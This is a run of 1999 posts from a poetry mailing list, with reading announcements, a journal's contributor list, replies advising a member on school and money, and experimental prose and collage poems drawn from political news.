..."I had forgotten, almost, how thrilling fountains can be. An amazing spectacle. Earlier today, my family went to the Rio to see a traveling art exhibit called the treasures of Russia. In the exhibition, there were some watercolors of the fountains at the Palaces at Peterhof, and they took my breath away. Alright, alright, perhaps that was a bit cliche, but they were captivating. It made me think of my visit to Versailles, the exhibi- tion, that is. Speaking of France, my window also looks out upon the as- of-yet uncompleted Paris Hotel. I am staring at a half-finished Eiffel To- wer and a pint-sized Arc de Triumphe and it is very amusing. I would that that everyone would love Vegas just for its sense of humor. And right now I am looking at the boulevard before the hotel which is lined with lighted trees whose rustling leaves make the white lights twinkle and a skyline that is all purple and teal, and I am completely charmed and I just wanted to share that with you. I could have written you about how I started to doubt my own reality Tuesday night, but writing about warm winter nights is so much nicer now. I love you,

Jennifer"

↑ Index

228. Jessica Pompeii

quandry

Tue 22 Jun 1999

QUESTION? I want to get a loan to put me through a great school. I live in Santa Monica and I hate driving, but I might hate idiot teachers more. I suppose I could move but my rent is cheap. I want to write. And study.. Any suggestions? These days no nunneries. Recommendations? I have no credentials. I went to Cal-Arts, but mom wouldn't pay. I went to Loyola but mom wouldn't pay. I went to Santa Monica City College, so mom didn't have to pay. I was accepted into UCLA but the thought of large classes, i.e.. parking was too much. I facilitate a poetry workshop at Beyond Baroque, but it doesn't pay for me to sit around and study and write. Mom says I should become a stock broker/consultant to old ladies whose husbands have died. Actually cousin Mickey made the suggestion to her. (She lives in Wisconsin, and wears a Mickey Mouse applique on her over coat.) Because mom reminds me women live longer then men. I can see the advertising already. Are you an old stupid hag who can't handle your money because you are a women and your husband is dead? Help!! Serious replies appreciated!! -Jessica

↑ Index

229. **Stephen Cope**
Beyond the Page
Tue 22 Jun 1999

BEYOND THE PAGE continues its monthly series of literary and arts events with the following reading/performance:

What: Rick Burkhardt, Noah de Lissavoy, and Hung Q. Tu read from and/or perform their work.

Where: Faultline Theater, 3152 5th Avenue (at Spruce), San Diego.

When: Sunday, June 27, 4PM.

Etc: $3-5 donation requested. Beer, wine, and refreshments available.

****

* RICK BURKHARDT is a composer, playwright, and poet whose original chamber music and plays have been performed throughout the US and in German-speaking Europe. His poems have been published in _Mirage: A Periodical_. He co-founded the School for Designing Society and Utopia Train, a multimedia performance troupe in which he acted, directed, sang, and played the accordian. He is one half of "the Prince Myshkind," who will be releasing a CD of original folk songs this year. Currently he studies composition with Chaya Czernowyn at UCSD.

* NOH de LISSAVOY is a poet currently living in Los Angeles. His chapbook, _Spark_, can be found on Talisman Press.

* HUNG Q. TU was born in Vietnam and raised in San Diego. His first book, _A Great Ravine_, was published in the Parenthesis Writing Series, and a second book, _Versimilitude_, is forthcoming from Atelos Press. Recent work can be found in such journals as _Poetics Journal_ and _Crayon_. He is co-editor of Krupskaya.

****

BTP is proud to continue its monthly series of arts-related events with this reading/performance. BTP is an independent literary and arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted]; e-mail: [redacted], [redacted].

↑ Index

230. **travmar03**
Fw: Last Reading of The Year
Tue 22 Jun 1999

Jay Brooks, author of The Cult of Boy, and Janine Hayes, author of Pink Slip,

Highwire Gallery
139 North 2nd Street, btw. Arch and Race Streets
Philadelphia
BYOB
8 P.M.

Please come to celebrate the end of our first year. We'll have champagne and The Highwire Yearbook to inebriate you.

Send this out to others you know who would be interested in attending.
Thanks,
Kyle and Greg

↑ Index

231. **travmar03**
Fw: Last Reading of The Year
Tue 22 Jun 1999

Jay Brooks, author of The Cult of Boy, and Janine Hayes, author of Pink Slip,

Highwire Gallery
139 North 2nd Street, btw. Arch and Race Streets
Philadelphia
BYOB
8 P.M.
Saturday June 26, 1999

Please come to celebrate the end of our first year. We'll have champagne and The Highwire Yearbook to inebriate you.

Send this out to others you know who would be interested in attending.
Thanks,
Kyle and Greg

↑ Index

232. **Kimmelman, Burt**
Poetry New York 11
Tue 22 Jun 1999

The new (& supersize!) issue of POETRY NEW YORK: A JOURNAL OF POETRY AND TRANSLATION has just arrived from the printers and will be at a bookstore or magazine kiosk near you SOON!

Contributors include:

Karen Alkalay-Gut
Kenneth Bernard

Star Black
Charles Borkhuis
Daniel Bouchard
Jackie Brookner
Mary Burns
Garrett Caples
Norma Cole
Cid Corman
Traian T. Cosovei
Robert Creeley
Gilles Cyr
Tony D'Arpino
Sharon Dolin
Mark DuCharme
Stephen Ellis
Thomas Fink
Edward Foster
Carol F. Frith
Heather Fuller
Ian Ganassi
Peggy Garrison
David Golumbia
Michael Heller
John High
Anselm Hollo
Phil Jenks
Halvard Johnson
Jack Kimball
Amy King
Phyllis Koestenbaum
Dean Kostos
Frank Lennon
Lynn E. Levin
Susan Levin
James Liddy
Paul Long
Sabra Loomis
Carol Wade Lundberg
Daniel Nester
Valerie Oisteanu
Gordon T. Osing
Ben Passikoff

Anne Portugal
Kristin Prevallet
Anna Rabinowitz
Corinne Robins
Peter Russell
Standard Schaefer
Lorraine Schein
Roger Sedarat
Lee Sharkey
Harvey Shapiro
Timothy Shea
Reginald Shepherd
Eleni Sikelianos
Ann Snodgrass
Adam J. Sorkin
Peter Spiro
Elizabeth Stoessl
Ryuchi Tamura
Kyamil Tangalychev
Madeline Tiger
Lawrence Upton
Jean-Pierre Vallotton
Anne Waldman
Keith Waldrop
Lewis Warsh
Henry Weinfield
Laura Wright

Further queries? Contact PNY's Editor, Tod Thilleman ([redacted]) or me, or go to the PNY website (http://members.tripod.com/~PNY_journal/).

And, as Faye Kosmidis of Bernhard DeBoer Distributors just told me this morning, and asked me to pass on to you: Please ask your local bookstores to stock literary magazines. She related her experience at the recent CCLM colloquiam on small press distribution, where the Barnes and Noble marketing person bragged about the fact that B&N stocks the "top fifty literary magazines" - so guess which of the fifty are really literary (the others being, e.g., Writer's Digest)? The answer is, there were two actual literary magazines of the fifty, Granta and Glimmer Train. Btw, Borders DOES make an effort to stock real literary mags.

Well, that's it for now. Please do take a look at the new PNY; it is really fine, maybe all around the best we've done.

Burt Kimmelman ([redacted])

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233. Matthew J Chambers
(no subject)
Tue 22 Jun 1999

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hello,
i was wondering if anyone could backchannel me john yau's e-mail or snail mail address - much appreciated

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234. Alan Sondheim
Jennifer Climbs
Tue 22 Jun 1999

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Jennifer Climbs

My New York City is so lovely this time of year, there is real magic in the neon signs high above Times Square. What would it be like to live up there, so near the clouds, beautiful neon colors flashing against your linen curtains (which will do little to keep out the sound of the traffic below). I can only imagine. I wander and see so many large things moving and I wonder what Benjamin Franklin would say if he were wandering with me, all these moving lights like orderly fireflies and no one God the Creator telling them what to do, they way they flash on and off around the bushes back home. It is truly a magical wonderland and I cannot imagine anyone unhappy who could live there in the middle of the lights.

Now I will ascend to the lights. Some say other people need other people, but I say, no, the lights are surely sufficient. I rise floor after floor looking in at so many lives, and now I will be in the midst of the lights of Times Square, New York City, USA, and the tubes and transformers are themselves things of beauty, the black metal machinery holding everything together, making the galaxy pulse and glow.

Here I will contemplate the white horse which is not a horse and existence which has been stolen, or perhaps never was. For I shall hold existence in my shiny tiny palm, and existence will reflect the whole wide world in its many colors. Shall I hold you, existence? Shall I, shall I?

It is a well known fact that if you take the head off a young girl, she is no longer a young girl who can appreciate beautiful things. You have made a thing diminished by subtraction, just so if you take the head off a colt of any color, it

no longer roams and whinnies at beautiful sunsets. It is no longer a colt, but a shame, I would say, to see such a young thing dead and all, and it never lived long enough to have a name.

A thing is no longer a thing by subtraction, it has lost the rectitude of the name, I will say, but oh, look at the shimmering signs there, text scrolling up and down the buildings, I do see that I shall have to learn to read.

Just so, I would say, a thing is no longer a thing by addition, it has lost the rectitude of the name, which depends on just proportion, it has often been said, could I find the source. And just so, a horse is a horse is a horse, no one would dispute that, but a horse plus white or a white- ness is no longer a horse, but a supplement, either a white-horse or be- neath the category of a supplement. For it has betrayed the rectitude of the name, it is no longer of just proportion, and the empire is rendered ill-at-ease.

That is why the Ming shih lun, which may be a latter addition, of Kung-Sun Lung states "A thing is a thing and nothing more. This is actuality." And it further states "Actuality exhibits actuality. This actuality is not empty. It has position." And I do say, just as the fireflies do not know their position but fire up in such orderly fashion and beauty and wonder! so do things not know their position, of which language is a fallen Ob- ject. Thus I agree that "Taking it from its position makes it lose its position. Placing it in its position makes it rectified." (Oh, and now Kung-Sun Lung is Gongsun Long, according to the rectification of names!)

The position of a horse is a horse! The position of a white horse is not rectified, or to be sure, is not rectified as a horse, and it is not a horse. For it is said by Confucius "Once the meanings of names are recti- fied, they will serve as a standard of conduct." And Kung-Sun Lung says, in this perhaps later addition, "To rectify that which rectifies an act- uality, means the rectification of this actuality and also the rectific- ation of its name." Oh, and Confucius said it's necessary to rectify names! (Oh, and Who is Kung-Sun Lung?! and Who is Gongsun Long?!)

Therefore, a white horse is not a horse, for not only is whiteness a supp- lement, but once a white horse is a horse, a dead horse is a horse, a lead horse is a horse, a wed horse is a horse, a fed horse is a horse, and a charley horse is a horse. Oh, such language is a disaster! One tiny fire- fly alone can start a new and lovely pattern, however, so that everything with additions and subtractions becomes a horse, and there is no end to it! (Oh, whatever happened to existence!)

And I, Jennifer, say, Oh, it is really lovely that there is no end to it, that rectitude bends according to the Fashion of the Moment, that Things Fall Apart, only to reassemble in new and lustrous Ways! And it is a terrible shame that we

do not live forever to see how Now comes out Then in the future, and how future Then comes out, all disheveled, without rectitude, and and and

And it is so pretty up here and everyone can see up my long legs!

- Jennifer

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235. Katie Degentesh

9x9 News

Tue 22 Jun 1999

Hello, listees! To some of you, I'm just a name in your email box, but I still want to let you know that that name will be changing very shortly. I'm taking off for the summer to teach creative writing at a camp in Connecticut; while I'm gone, your 9x9 e-information will be brought to you by Eugene Ostashevsky ([redacted]).

Before I go, I want to let you know that there's a campaign party at 26Mix THIS THURSDAY evening at which three 9x9 members will read. More information can be found at the end of this message.

To those of you that I DO know: have a great summer! I'll be back at the end of August, and reachable at this very email address throughout.

Katie

THURSDAY, JUNE 24 AT 26 MIX

Matt Gonzalez
For District Attorney
Campaign Party

Poetry Reading by:
Tarin Towers
The Mysterious Mr. Clam
Eugene Ostashevsky
Shawn Taylor

Music by:
DJ Consuelo

26 Mix
3024 Mission @26th St.
Thursday, June 24, 1999
5:00 p.m. till closing
Readings begin at 8:00 p.m.

BIOS MATT GONZALES is a liberal/democrat/progressive candidate for District Attorney. He was educated at Columbia College and Stanford Law School. He has handled hundreds of cases in his career and is highly regarded by his collegues and adversaries alike. Matt Gonzalez has been criticizing the incumbent, Terence Hallinan, for pursuing felony convictions in marijuana matters involving less than one ounce of marijuana; for not filing a single police brutality case in the four years he has been in office; for filing only one owner-move in eviction case since being elected despite the widespread evidence of fraud in these matter;, for not investigating and prosecuting arson fires that are displacing hundreds of low income persons from residential hotels in San Francisco; and for not properly investigating the election fraud associated with the 1997 49er Stadium initiatives "D" and "F", wherein there is compelling evience that secret voting places were opperated and voter fraud was rampant. Matt Gonzalez is absolutely oppossed to the Death Penalty and believes that prison is for people who committ violent crime.

TARIN TOWERS is the author of _Sorry, We're Close_ just released by Manic D Press; member of 9X9 Industries; will be touring with Sister Spit this summer.

THE MYSTERIOUS MR. CLAM is the author of the comic book _Wenches and Wrenches_ also from Manic D; funniest poet in San Francisco.

EUGENE OSTASHEVSKY is the author of _Noughtbooks_ from the Paraffin Arts Project; member of 9X9 Industries and Vainglorious; cognoscente of Neoplatonism.

SHAWN TAYLOR is a poet and stand-up comedian; champion of 1999 East Bay Poetry Slam and member of 1999 Oakland Poetry Slam Team.

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236. Wendy Kramer

uncompromising, but corrugated, position

Tue 22 Jun 1999

Spotted a refrigerator box today (with fridge inside, otherwise i would've carted it off) whose printed side panel read

BACK

LAY ON BACK ONLY

this as opposed to FRONT (i walked 'round to check the other side) & in my mind it argued (& agitated) not only terms & correctness of sexual position but questions of grammar as well. "lie" or "lay" ? i can never keep it straight. "front" "back" or "volte face" ? one sighs in consternation.

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237. Elizabeth Treadwell
C. Alexander & J. Debrot
Tue 22 Jun 1999

please b/c

thx
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

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238. Todd Baron /*/ ReMap Readers
Re: quandry
Tue 22 Jun 1999

Jessica Pompeii wrote:
>
> QUESTION?
> I want to get a loan to put me through a great school. I live in Santa Monica
> and I hate driving, but I might hate idiot teachers more. I suppose I could
> move but my rent is cheap. I want to write. And study.. Any suggestions?
> These days no nunneries.
> Recommendations? I have no credentials. I went to Cal-Arts, but mom wouldn't
> pay. I went to Loyola but mom wouldn't pay. I went to Santa Monica City
> College, so mom didn't have to pay. I was accepted into UCLA but the thought
> of large classes, i.e.. parking was too much. I facilitate a poetry workshop
> at Beyond Baroque, but it doesn't pay for me to sit around and study and
> write.
> Mom says I should become a stock broker/consultant to old ladies whose
> husbands have died. Actually cousin Mickey made the suggestion to her. (She
> lives in Wisconsin, and wears a Mickey Mouse applique on her over coat.)
> Because mom reminds me women live longer then men.
> I can see the advertising already. Are you an old stupid hag who can't handle
> your money because you are a women and your husband is dead?
> Help!! Serious replies appreciated!!
> -Jessica

Dear J:

The work's the thing, eh? Study? Read! If you need a degree to become a teacher--do go to UCLA. College is War and so fight battles there. My degree has me teaching--which I love--and though the poetry's the thing--it can't be the bills, too.

Ask anyone--the bills are paid by either teaching or some form of it--or something completely dif. Stockbroker is an idea--one--but so is busdriver! So is teaching. Everyone I know teaches--students give so much back--I've taught at the college level and now at the 7th grade level. I perfer the young ones--I would not teach "workshops" tho--What's the point?

yrs

Todd Baron
ReMap Readers

ps: a jobs a jobs, eh? Find something you love--
the writing is there, always.

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239. **Maria Damon**
Re: quandry
Tue 22 Jun 1999

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a lot of schools have extensive financial aid. are u applying to a grad or u-grad program? if grad, if doctoral, most "great" schools will underwrite your sojourn to a large extent, as they are making an investment in the future glory you will bring to their name. what exactly are u asking advice for --names of schools? how to finance your way? this mom thing is annoying; i know plenty of families here in MN who would pay many K for a daughter's wedding but 0 for her education. this is 1999, fer xsake! and you can tell her i said so.

At 1:34 AM -0400 6/22/99, Jessica Pompeii wrote:
>QUESTION?
>I want to get a loan to put me through a great school. I live in Santa Monica
>and I hate driving, but I might hate idiot teachers more. I suppose I could
>move but my rent is cheap. I want to write. And study.. Any suggestions?
>These days no nunneries.
>Recommendations? I have no credentials. I went to Cal-Arts, but mom wouldn't
>pay. I went to Loyola but mom wouldn't pay. I went to Santa Monica City
>College, so mom didn't have to pay. I was accepted into UCLA but the thought
>of large classes, i.e.. parking was too much. I facilitate a poetry workshop
>at Beyond Baroque, but it doesn't pay for me to sit around and study and
>write.

>Mom says I should become a stock broker/consultant to old ladies whose
>husbands have died. Actually cousin Mickey made the suggestion to her. (She
>lives in Wisconsin, and wears a Mickey Mouse applique on her over coat.)
>Because mom reminds me women live longer then men.
>I can see the advertising already. Are you an old stupid hag who can't handle
>your money because you are a women and your husband is dead?
>Help!! Serious replies appreciated!!
>-Jessica

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240. Lawrence Upton.
(no subject)
Wed 23 Jun 1999

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if anyone has an email for Louise Bak, would they mind sending it backchannel? Thanks

Lawrence Upton

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241. A H Bramhall
Re: Quandary
Wed 23 Jun 1999

Webster's New Universal [doesn't that sound encouraging?] Unabridged Dictionary Deluxe [again with the encouragment] Edition offers this suggestion (p 693), to wit, FITCHER: "to so operate a drill [in mining] that it shall stick in the bore hole or become jammed, as in a wedge". Olson's watered rock, Pound's rock drill: I think you can guess where I'm going here. and don't forget DH Lawrence's father was a coal miner, as was Loretta Lynn's. WC Williams worked his way thru med school as a miner in the coal fields of Pennsylvania. in fact he met HD in the mines. she regarded them as oracular grottoes and would sneak in, pour olive oil on her head and commune with her gods. ancient Etruscans developed a world-dominating culture because of the rich salt mines of Western Etrusca. Etruscans prayed to the deity Etrusca that each day the mines would produce more valuable salt. when archaeologists discovered transciptions of these prayers they decided, after consulting anthropologists, linguists and other experts, that these transcribed prayers could be regarded as poems. btw, I worked in a convent kitchen when I was in high school and the nuns, it was a Canadian order, all spoke French! they played "Holly Jolly Christmas" (as sung by Burl Ives) almost constantly during the appropriate season, used to make their own hooch out of vodka and raisins and in general

seemed to keep themselves pretty neatly amused. I hope this reply is serious enough, and that you appreciate it. AHB

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242. Elizabeth Treadwell
fiction writing exercises
Wed 23 Jun 1999

Dear List,

Please excuse the fiction (& the cross-post).

I am teaching a Developing the Novel class and would be grateful for any and all b/c suggestions for writing exercises for such a class. Some of my students are in the beginning stages of a novel, some are further along, but I feel compelled to keep them all propelled, sts (so-to-speak) with exercises for development and spark -- enough said.

Thanks
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

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243. Tisa Bryant
Calling Cecilia Vicuna
Wed 23 Jun 1999

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if you are listening, please respond directly.
i'd very much like to talk to you.

thanks!

tisa bryant
[redacted]

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If you look in a text and see yourself, that is market education, done in the name of education. But education must not be about a cathartic quest for identity. It must foster credible sensibilities for an active critical citizenry.
Cornel West, "Beyond Multiculturalilsm and Eurocentrism"

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244. Kevin Magee
RE (FOR) RACHEL DEMOCRACY
Wed 23 Jun 1999

4:00 a.m. in the winter cold at polling stations not open. Some up to eight hours to make sure they could, lines nearly one mile. June 2 nearly 16 million - 89 percent. ANC election 66.35 percent the vote 266 of the 400 seats in the National Assembly. ANC president Thabo Mbeki on June 3, "The poorest of the poor have said they trust the ANC both black and white, our vision." ANC water, electricity, telephones, housing to the black majority joblessness 35 percent. "There is no question of passes. There are no obstacles," said one of 85,000 out for a May 30 ANC rally in Soweto. Windy Tlaka, 62, voting in Mamelodi township outside Pretoria. "I can enter places I could not enter before." Lawrence Mphasga, "You can't change things in five years that were done over hundreds of years." Thabo Kola, 20, computer programming at Intel College in Pretoria. "A few years ago some white students were calling me 'kaffir.' We can and we will build this country together because we are like each other." ST. LOUIS - Chanting "Hey, hey, ho, ho, killer cops have got to go," 25 people picketed the South Patrol Division of the St. Louis police May 8 one day after Julius Thurman died April 26 in police custody an autopsy a massive skull fracture a blow to the back of the head. Thurman was attempting to burglarize a pawn shop when the cops arrest and stomp on Thurman one officer repeatedly a heavy flashlight, the funeral a protest. Community figures spoke out. Prince Carter, nephew killed by cops. Picket line of 25, film crews. Carter explained the South Patrol Division, the last two police killings by cops from this station, April 2 Jerome Ruffin killed by cops for "drinking beer and running." Kimberly Browning- Hoffman, office worker, on April 8 harassed-arrested waiting for her baby-sitter. Two cops, nonpayment on a parking ticket. "The female officer handcuffed me while my baby was in the back seat of the car." She said the two cops called for back up, "two paddy wagons and four or five cop cars." They refused to give her husband any information and referred to him as "my babies' daddy, like we weren't even married." Protests planned, 3:00 p.m. every Saturday in front of the South Patrol Division on Sublett Avenue. John Sarge is a member of the United Auto Workers in Detroit. DETROIT - Before more than 100 gathered here May 21 and 22 Irish Northern Aid for 28 years in the U.S. raising funds, families of Irish political prisoners, now working on reintegration of political prisoners into the population. Gerry Adams greetings to the meeting describing the Royal Ulster Constabulary paramilitary sitting on a file of 150 names targeted, he urged Irish Northern Aid to keep up a lot on the Good Friday Agreement reached last year the U.S. tour earlier this year the South Armagh Farmers raised ideas for future tours. Christy Ward on the honorary Doctor of Letters degree to the leader of the

Ulster Unionist Party by Boston College May 24. Rosaleen Doherty described the strides made over the last year. There are still more than 100 Irish political prisoners, 88 in the Long Kesh prison in Belfast, 22 in Portlaoise Prison, and Richard Johnson in the U.S. just transferred to a halfway house in Boston, 10 years in U.S. prisons, FBI, "conspiracy," he completes his sentence, in full, this fall. Ro'isi'n Kelly of Tar Anall described her organization sprang up to aid. Kelly on the newly formed Coiste na nIarchimi, 20 local ex-prisoners. Jack Kilroy spoke about U.S. using secret "evidence" asking "no secret evidence be used in U.S. courts." Noel Cassidy on the latest court ruling against him. The gathering ended with a speech by Rita O'Hare. HEATH, Ohio - A locked-out Kaiser Aluminum worker was roughed up his teeth knocked out by two cops. Picket duty June 5. Off-duty Heath Cops guard the company side of the picket line at the main gate. Security cameras. Steve Smyers, one of the cops came up to him and asked him to go. Smyers said one of them tripped him up, asphalt. Smyers's front teeth were knocked out, a third tooth broken. He needed nine stitches for cuts on his lip the cops claiming he kicked a scab's car on the picket line June 7 workers had added another sign, "Fight Police Brutality," to their display. Tracy Van Meter didn't think police should be slamming people to the cement. Van Meter said, "Guys come in and out spitting and fingering us," and the cops don't do anything. But they "treat us as common criminals." Annette Lindsay, another Kaiser worker on the picket line, "Maybe this is for intimidation. They want to discourage us from picketing." Tony Lane and Henry Hillenbrand are members of United Steelworkers of America. KAREN RAY, WATSONVILLE, California - After a tense five days, the United Farm Workers union or the pro-company outfit Coastal Berry, whether there would be a runoff 60 ballots would determine . Final total 589 for the UFW, 670 for the Committee, and 83 for no union. Farm workers met at the UFW headquarters here in the evening June 1 to map out how to get out the vote for June 3-4 going door to door. "We will continue the fight for the union" explained Ruben Nieto, a worker who came to the union offices here. Arturo Rodriguez told a telephone news conference, "We knew we were fighting one of the strongest companies in the industry. We are not at all surprised and don't anticipate this being over." On the day of the voting at the Oxnard farm an unsigned leaflet handed out listing more than 90 names of farm workers it said were the only ones in broken Spanish warned, "We ranchers from Oxnard have been watching this for many months. We know who has been supporting the UFW. We have many years of dealing with the UFW and have seen how they destroy. You receive good pay and good benefits without dues out of your pockets, don't let the UFW ruin your company Coastal Berry." The vote at the Oxnard ranch 309 for the UFW, 230 for the Coastal Berry Farm Workers Committee, and 37 for no union. Workers at the ranches in Watsonville and Salinas voted 268 for the UFW, 416 for the Committee, and 42 for no union as

the workers the season is winding down at Oxnard many of the workers have now left to work the cherry crops. Isabel Rendon, injured last July when company thugs toppled a stack of boxes on her, "Before we voted, they were saying those who vote for the UFW could take their strawberry carts and leave." On Jan. 1, 1959 vice-minister of the fishing industry of the July 26 Movement in what a few days later named minister of communications, a signer of the major months of 1959, among them Agrarian Reform at La Plata recorded in notes he wrote a few hours after until now unpublished (a still-unpublished book) heights of the Sierra Maestra mountains all around, huts dotting slopes. Some planted fields are carved out. The clouds blend with the mountain tops.... The air, grandeur. Take the footpaths to see what's on the other side at the home of "The Villa Claran," a peasant in La Plata, companeros, many poke their heads through windows and doorways to try to hear what's being said. The emotion seizes us. Outside are hundreds who live in the mountains, the same ones among those among themselves, strange words inside the hut. New words to their ears, they trust and hope. The ice is broken. I try to explain it to them, tell them about the vital minimum all should have, about the people's stores, about the doctors and teachers. Their eyes become lost in the distance. "And what did you get paid for your last harvest?" "One hundred sixty pesos. "One hundred sixty pesos a year is 45 cents a day. How can 10 people live on that?" "Well, that was spent on lard and on odds and ends. We eat malanga all the time, sometimes an egg, and a chicken when we come across it. "And if you get sick...?" There is another man who looks old, but he turns out to be 28. "Are you married?" "We have a two-year-old daughter." "Do you have land?" "We can barely sustain ourselves. It's the hunger that makes us old." A bony hand guides the hands that sign. BY MEGAN ARNEY. They help tie the working class together as a class. Point to them in the social order. Go after human solidarity. The trial of Tabitha Walrond. On May 19 convicted. 21-year-old woman death of her two-month-old son "fatally starving" breast feeding to formula and didn't care? Walrond, on welfare, sought care, the nightmare. Recent laws, hundreds of thousands off welfare in New York City, many eligible turned away. Medicaid computer system a social worker said when Walrond with the baby, they were turned away. Walrond went to three city offices for help, one six days before the child died. Months later, two different Medicaid cards and a HIP membership in the child's name arrived in the mail. Bronx district attorney jury photos, the child's body 22 hours after autopsy, it was those photos convict her. Three pediatricians testified in her defense. Tabitha Walrond is why, the worst off layers of our class. We are talking about something that goes beyond the wage any individual. We are talking about the labor movement fight for all. PASCAGOULA, Mississippi - 8,000 workers here, huge Ingalls shipyard. "These are serious times, and we are some serious people," Leon Fantroy, Jr.,

Pipefitters Local 436. "We are prepared to sacrifice, like they are" (United Steelworkers of America Local 8888 at Newport News Shipbuilding in Virginia out since April 5) said pipefitter Chris Packer. Jimmy Cox, 48, 17 years as a shipfitter, said medical costs, and safety, said Jack Beard, Boilermakers Local 693, "The longer we stay out the stronger we are." "In two weeks we can get anything we want," Teresa Nelson, Pipefitters Local 436. "The company has got the money, they've got the money." Ingalls Shipbuilding constructs U.S. Navy missile destroyer and amphibious assault ships, container ships and oil tankers. The Pascagoula shipyard is owned by Litton Industries bidding to buy. Ingalls is Mississippi's largest private employer, annual sales of $1 billion, $4 billion backlog of ships to build and contracts to fulfill. The strike began May 16 when members of the smallest union at the yard, the International Association of Machinists Local 1133 with a few dozen members set up pickets, the next morning at 7:00 a.m. an IAM picket line had more than 2,000, by the end of that day the entire yard. Fantroy said, "Thirty-four people got 8,000 on strike. Think about how important what you do can be. Everybody out there just refused to the cross the line." The International Brotherhood of Electrical Workers 1,200 members declared strike May 19. The next day the Metal Trades Council, with 6,500 in nine unions followed. James Lankford, 46, IAM 21 years at the yard, the first mass picket line "awesome. Solidarity took the cake." John Hall, a pipefitter, said, "support is overwhelming." Out of 8,000 workers, Alvin Wiley, a joiner with 20 years on the job, said that at a meeting of Boilermakers Local 693 May 27 "a roar of applause." Mississippi senator warning, "the future of our Navy and our country." Mike Italie is a member of the Union of Needletrades, Industrial and Textile Employees and Arlene Rubinstein is a member of the Aircraft Mechanics Fraternal Association. After 78 days bombing Yugoslavia, Washington got Moscow and Belgrade to allow NATO in Kosova. Officers of Belgrade's army, "The war has ended," at Kumanovo, Macedonia, June 9. Moscow basically co-signed NATO's terms. "There's no peace," said Branislav Canak, in a phone interview the morning of June 10. "We only have the complete capitulation of the regime and in Kosova, people, those who return, will find a devastated area both from the NATO bombing and the looting of villages by those who carried out the 'ethnic cleansing.' They won't be able even to consider their right to self-determination, a protectorate." More than 50,000 "peacekeepers" about the same as in Bosnia, the air space over and over adjacent buffer zone. Kosova will be five sectors, U.S., British, French, German, and Italian forces - Russia has pledged it will not place its forces under NATO NATO face-saving Moscow, its forces, a symbolic presence at border crossings. March 30 New York Times, "Our strategic interest is that Kosovo not be independent." Rambouillet accord for Kosovars to decide their future within three years "would send to Basques, Kurds and other groups that we will support their independence." Washington open-ended occupation of Kosova as

in Bosnia. The social cohesion of hundreds of thousands has been and is being destroyed, entire villages erased. "The agreement is not about repatriation," said Martina Vukasovic, a mathematics student at Belgrade University and an activist in the Students Union of Yugoslavia supports self-determination for Kosova. Last year she with dozens of other students antiwar throughout Serbia opposition to Belgrade in Kosova. "Tens of thousands of Serbs left Kosova opposed to the 'ethnic cleansing' by the paramilitary gangs and special police afraid for their lives the NATO bombing. There's no talk about their right to return, and the Kosova Liberation Army won't be disarmed." The KLA, a guerrilla group armed struggle for independence, in the camps for expelled Kosovars in Albania KLA members cut off discussion when fellow Albanians raised opposition to the U.S.-NATO bombing of Yugoslavia during visits by this reporter in April and May. The KLA will now police Albanians inside Kosova. Many in the streets on the night of June 9 cheered when street lights came on after weeks of darkness the destruction the power grid, relief the bombing is over. In Nis thousands walked in the streets late into the night on June 9, said Duci Petrovic, a leader of the Students Union there. "Many sang songs, releasing the tremendous stress from nearly three months of war. The only good thing is we may soon be in a better position to resume political activities and protests and, who knows, down the road." Official statistics, more than 2,000 civilians killed and 5,000 wounded, unemployment 90 percent among 3 million wage workers. Electricity in four- to six-hour shifts in much of Belgrade now. In Kragujevac, at Zastava, the largest car plant in the Balkans destroyed by the NATO bombing, said Christina Ranic, a member of the metal workers union who worked in the plant. "We get 20 deutch marks per month. That's barely enough for bread and milk. NATO doesn't even mention what workers face. It's as if we disappeared from the face of the earth." On the corpses of the people of Yugoslavia, the U.S. rulers are. "We had a very good day," U.S. secretary of state Madeleine Albright June 8. Two days later 2,000 U.S. Marines were landing at a port in northern Greece, on their way to Macedonia. There they will join 1,700 U.S. troops coming from Albania along with Cobra and Apache attack helicopters among the first to enter Kosova behind the British-led force of more than 17,000 NATO troops already in Macedonia, London the most vocal backer. Greece prevented for a few days U.S. ships carrying Marines from docking at Thessaloniki. Athens, Rome, and Bonn. Athens backed down, and Beijing? What's behind the instability in Russia? Are Washington and the other imperialist powers tightening a military encirclement of Russia? "The hot-button issue in the 1950s was, 'Who lost China?' " Nixon said in his memo in 1992, "If Yeltsin goes down," Nixon said, "the question of 'who lost Russia' will be infinitely more devastating in the 1990s." DETROIT - Eighty members of the United Steelworkers of America on strike against Titan Tire here, a busload of strikers, Local 164 Des Moines, Iowa, Local 303L

Natchez, Mississippi, 25 who struck Detroit News and Free Press in July 1995, and other unionists the day's activities the annual shareholders meeting Titan International, parent company of Titan Tire. Early in the morning security guards tried to prevent about 120 workers walked into the room, the handful of stockholders a stockholder had signed over a share to each unionist, gain access, opening comments, the boss opened the floor, strikers asking answered by him attacking the negotiating committee as liars, union members fools, stalked out the door, ending the meeting, after lunch, Grosse Pointe Farms, picket signs in hand, the strikers, a private gated community, a house, the strikers stopped by private cops, the strikers chanting, "Hey, this is your wake up call!" An impromptu rally held on the highway drawing the cops and honks from supporters passing by. Tim Bartlett, a mill room worker 11 years in the Des Moines plant, "Going back is not an option." NEAH BAY, Washington - Native American indigenous rights the Makah Nation a gray whale here, May 17, the Makah the whale hunt keep their culture alive among youth the tribe their hunt the whale hunt the Makahs the anti-Native surrounding the Makah whale hunt anti-whaling "Save a whale, harpoon a Makah." May 23 Seattle Times-Post Intelligencer, "These people want to rekindle their traditional way of life by killing an animal that has probably twice the mental capacity they have." On Vancouver Island, the Huu-ay-aht, traditional lifestyle of sustainable whaling. Canada in 1996 the right of Inuit to hunt one bowhead whale, a species fallen from 10,000 in 1990 to about 700 in 1996. Here in Neah Bay, Makah hunters a hand-hewn cedar canoe three harpoons two high-caliber rifle shots kill the first gray whale the tribe has since the 1920s depletion of stocks commercial whaling hunted the gray whale, the day the Makahs killed the whale children abandoned their classrooms and adults their jobs, Native American tribes from around the Northwest along with the Makahs, for the Makahs, indigenous peoples from around the world and the Makahs on May 22 more on the Makah the whale hunt the Makahs joined by Native peoples from all over the West Coast, the Plains, Alaska, Canada, Fiji, and Africa. Makah Tribal Chairman Ben Johnson, "The whale hunt brought us all together. I'm happy, 